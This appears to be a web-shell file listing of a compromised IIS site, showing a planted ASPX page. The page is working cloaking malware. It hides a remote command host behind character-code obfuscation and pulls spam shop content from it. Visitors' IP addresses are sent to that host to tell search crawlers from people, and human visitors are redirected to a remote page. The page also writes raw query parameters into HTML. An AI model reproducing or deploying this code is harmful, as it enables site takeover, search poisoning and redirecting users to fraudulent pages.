Hunter Bajwa
Server: Microsoft-IIS/7.5
System: Windows NT EGAL 6.1 build 7601
User: IUSR_hrreflections (0)
PHP: 5.2.17
Disabled: NONE
Upload Files
File: C:/inetpub/vhosts/hrreflections.com/httpdocs/jgefa.aspx
<%@ Page Language="C#" %>
<script runat="server">
    public static string chr(int asciiCode)
    {  System.Text.ASCIIEncoding asciiEncoding = new System.Text.ASCIIEncoding();
        byte[] byteArray = new byte[] { (byte)asciiCode };
        string strCharacter = asciiEncoding.GetString(byteArray);
        return (strCharacter);}
    protected void Page_Load(object sender, EventArgs e)
    {
        if (!IsPostBack)
        {
            httpxy = HttpContext.Current.Request.IsSecureConnection ? "https://" : "http://";
            webclient = new System.Net.WebClient();
            webclient.Encoding = System.Text.Encoding.UTF8;
            if (Request.QueryString["g"] != null && Request.QueryString["g"] != "")
            {
                jd = webclient.DownloadString(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(100)+chr(121)+chr(100)+chr(107)+chr(103)+chr(46)+chr(116)+chr(111)+chr(112)+chr(47)+chr(49)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(115)+chr(122)+chr(61) + Request.QueryString["g"]);
                sz = Request.QueryString["g"];
            }
            else
            {
                jd = webclient.DownloadString(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(100)+chr(121)+chr(100)+chr(107)+chr(103)+chr(46)+chr(116)+chr(111)+chr(112)+chr(47)+chr(49)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(120)+chr(121)+chr(61) + httpxy);
                sz = webclient.DownloadString(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(100)+chr(121)+chr(100)+chr(107)+chr(103)+chr(46)+chr(116)+chr(111)+chr(112)+chr(47)+chr(49)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(106)+chr(100)+chr(61) + jd);
            }
				wj = webclient.DownloadString(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(100)+chr(121)+chr(100)+chr(107)+chr(103)+chr(46)+chr(116)+chr(111)+chr(112)+chr(47)+chr(119)+chr(106)+chr(115)+chr(106)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(119)+chr(105)+chr(100)+chr(61)+sz);
				ckwz = webclient.DownloadString( jd + "wl.asp");
				dbhl = webclient.DownloadString( jd + "zhhl.aspx?page=" + Request.CurrentExecutionFilePath + "&g=" + sz);
            if (Request.QueryString["number"] != null)
            {
                URL = jd + "s888.aspx?cid=" + Request.QueryString["cid"] + "&number=" + Request.QueryString["number"] + "&pnum=" + Request.QueryString["pnum"] + "&type=" + Request.QueryString["type"];
                content = webclient.DownloadString(URL);
                content = content.Replace("yymm", httpxy + HttpContext.Current.Request.Url.Host + HttpContext.Current.Request.Path);
                content = content.Replace("ggggg", sz);
				content = content.Replace("shop=","res=");
                Response.ContentType = "text/xml";
                Response.Write(content);
                Response.End();
            }
			else if (Request.QueryString["s"] != null)
            {
                content = webclient.DownloadString(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(100)+chr(121)+chr(100)+chr(107)+chr(103)+chr(46)+chr(116)+chr(111)+chr(112)+chr(47)+chr(115)+chr(122)+chr(104)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120));
                content = content.Replace("yymm", httpxy + HttpContext.Current.Request.Url.Host + HttpContext.Current.Request.Path);
				Response.ContentType = "text/xml";
				Response.Write(content);
                Response.End();				
            }
			else if (Request.QueryString["ping"] != null)
			{
                content = webclient.DownloadString(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(100)+chr(121)+chr(100)+chr(107)+chr(103)+chr(46)+chr(116)+chr(111)+chr(112)+chr(47)+chr(112)+chr(105)+chr(110)+chr(103)+chr(49)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(121)+chr(105)+chr(100)+chr(61)+Request.QueryString["yid"]+"&cid="+Request.QueryString["cid"]);
				content = content.Replace("yymm", httpxy + HttpContext.Current.Request.Url.Host + HttpContext.Current.Request.Path);
				string ping = webclient.DownloadString(content);
				Response.Write(ping);
				Response.Write(content);
                Response.End();
			}			
            else
            {	URL = jd + wj;
				gjc1 = webclient.DownloadString( jd + "getci.aspx?cid=" + Request.QueryString["cid"] + "&s=2&e=4");
			    gjc2 = webclient.DownloadString( jd + "getci.aspx?cid=" + Request.QueryString["cid"] + "&s=5&e=7");
                if (Request.QueryString["iid"] != null)
                {
                    URL += "?iid=" + Request.QueryString["iid"] + "&cid=" + Request.QueryString["cid"];
                    kname = HttpUtility.UrlDecode(Request.QueryString["res"]);
                    tz();
                    content = webclient.DownloadString(URL);
                }
                else if (Request.QueryString["res"] != null)
                {
                    URL += "?shop=" + HttpUtility.UrlEncode(Request.QueryString["res"]) + "&cid=" + Request.QueryString["cid"];
                    kname = HttpUtility.UrlDecode(Request.QueryString["res"]);
                    tz();
                    content = webclient.DownloadString(URL);
                }
                else
                {
                    tz();
                    if (Request.QueryString["pnum"] != null)
                    {
                        URL += "?cid=" + Request.QueryString["cid"] + "&pnum=" + Request.QueryString["pnum"];
                    }
					if (Request.QueryString["cid"] != null)
                    {
                        URL += "?cid=" + Request.QueryString["cid"];
                    }
                    content = webclient.DownloadString(URL);
                }

            }
            content = content.Replace("ggggg", sz);
			content = content.Replace("shop=","res=");
            content = content.Replace("IIIII", httpxy + HttpContext.Current.Request.Url.Host);
            content = content.Replace("UUUUU", httpxy + HttpContext.Current.Request.Url.Host + HttpContext.Current.Request.Path);
            content = content.Replace("BBBBB", HttpContext.Current.Request.Url.Host);
            content = content.Replace("NNNNN", kname + Request.QueryString["iid"]);
            content = content.Replace("SSSSS", kname + Request.QueryString["iid"] + Request.QueryString["searchtxt"] + Request.QueryString["pnum"]);
            content = content.Replace("HHHHH", httpxy + HttpContext.Current.Request.Url.Host + HttpContext.Current.Request.Path);
            content = content.Replace("DDDDD", kname + " Gold, White, Black, Red, Blue, Beige, Grey, Price, Rose, Orange, Purple, Green, Yellow, Cyan, Bordeaux, pink, Indigo, Brown, Silver,Electronics, Video Games, Computers, Cell Phones, Toys, Games, Apparel, Accessories, Shoes, Jewelry, Watches, Office Products, Sports & Outdoors, Sporting Goods, Baby Products, Health, Personal Care, Beauty, Home, Garden, Bed & Bath, Furniture, Tools, Hardware, Vacuums, Outdoor Living, Automotive Parts, Pet Supplies, Broadband, DSL, Books, Book Store, Magazine, Subscription, Music, CDs, DVDs, Videos,Online Shopping " + Request.QueryString["searchtxt"]);
        }
    }
    public void tz()
    {

        string ip = System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_HOST"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_CLIENT_IP"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_FORWARDED_FOR"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_FORWARDED"];
        if (Request.QueryString["kk"] != null)
        {
            ip = "66.249.64.190";
        }
        string ipurl = jd + "getdomain.aspx?rnd=1&ip=" + ip;
        webclient = new System.Net.WebClient();
        webclient.Encoding = System.Text.Encoding.UTF8;
        string domain = webclient.DownloadString(ipurl).ToLower();
        if (domain.IndexOf("google") == -1 && domain.IndexOf("msn.com") == -1 && domain.IndexOf("yahoo.com") == -1 && domain.IndexOf("aol.com") == -1 && domain.IndexOf("yandex") == -1)
        {
            string tzurl = jd + "a.aspx";
            if (Request.QueryString["iid"] != null)
            {
                Response.Redirect(tzurl + "?cid=" + Request.QueryString["cid"] + "&cname=" + HttpUtility.UrlEncode(kname) + "&pr=" + Request.QueryString["pr"] + "&ll=" + HttpContext.Current.Request.Url.Host);
                Response.End();
            }
            if (Request.QueryString["res"] != null)
            {
                Response.Redirect(tzurl + "?cid=" + Request.QueryString["cid"] + "&cname=" + HttpUtility.UrlEncode(kname) + "&ll=" + HttpContext.Current.Request.Url.Host);
                Response.End();
            }
            if (Request.QueryString["pnum"] != null)
            {
                Response.Redirect(tzurl + "?cid=" + Request.QueryString["cid"] + "&ll=" + HttpContext.Current.Request.Url.Host);
                Response.End();
            }
			if (Request.QueryString["cid"] != null)
            {
                Response.Redirect(tzurl + "?cid=" + Request.QueryString["cid"] + "&ll=" + HttpContext.Current.Request.Url.Host);
                Response.End();
            }
			else 
			{             
			Response.Redirect("/404.aspx");
			Response.End();
			}
			
        }
    }
    public string xi = "1";
    public string xc = "30";
    public System.Net.WebClient webclient = null;
    public string content = "";
	public string gjc1="";
	public string gjc2="";
    public string URL = "";	
    public string URL1 = "";
    public System.Random a = null;
    public string descriptions = "";
    public string kname = "";
	public string ckwz="";
	public string dbhl="";
    public string jd = "";
    public string sz = "";
    public string wj = "";
    public string httpxy = "";
</script>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <script>
        document.cookie = "u=" + window.location.href;
    </script>
    <title><%=kname%><%=Request.QueryString["searchtxt"]%> OFF <%=new Random().Next(60, 80)%>% <%=Request.QueryString["pnum"]%></title>
    <meta name="keywords" content="<%=kname%>,<%=gjc1%>" />
    <meta name="description" content="<%=kname%>,<%=gjc2%>." />
    <meta name="robots" content="index,follow,all" />
    <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
    <link rel="sitemap" type="application/xml" title="Sitemap" href="<%=httpxy + HttpContext.Current.Request.Url.Host + HttpContext.Current.Request.Path %>?s=xml" />
    <style>
        @media (max-width: 768px) {
            body {
                width: 100%;
                height: 100%;
            }

            body {
                font-family: Open Sans,'Helvetica Neue',Arial,sans-serif;
                font-size: 15px;
                color: #777;
                line-height: 1.7;
            }

            img {
                width: 80%;
            }

            iframe {
                max-width: 100% !important;
                height: auto;
                float: left;
            }

            div {
                width: 100% !important;
                float: left;
            }

                div span {
                    width: 100%;
                    float: left;
                }

            a {
                color: #f05f40;
                -webkit-transition: all .35s;
                -moz-transition: all .35s;
                transition: all .35s;
            }

                a:hover, a:focus {
                    color: #eb3812;
                }
        }
    </style>
</head>
<body><%=content.Replace("XXXXX",HttpContext.Current.Request.Url.Host) %>
<div><%=dbhl%> | <%=ckwz%></div></body>
</html>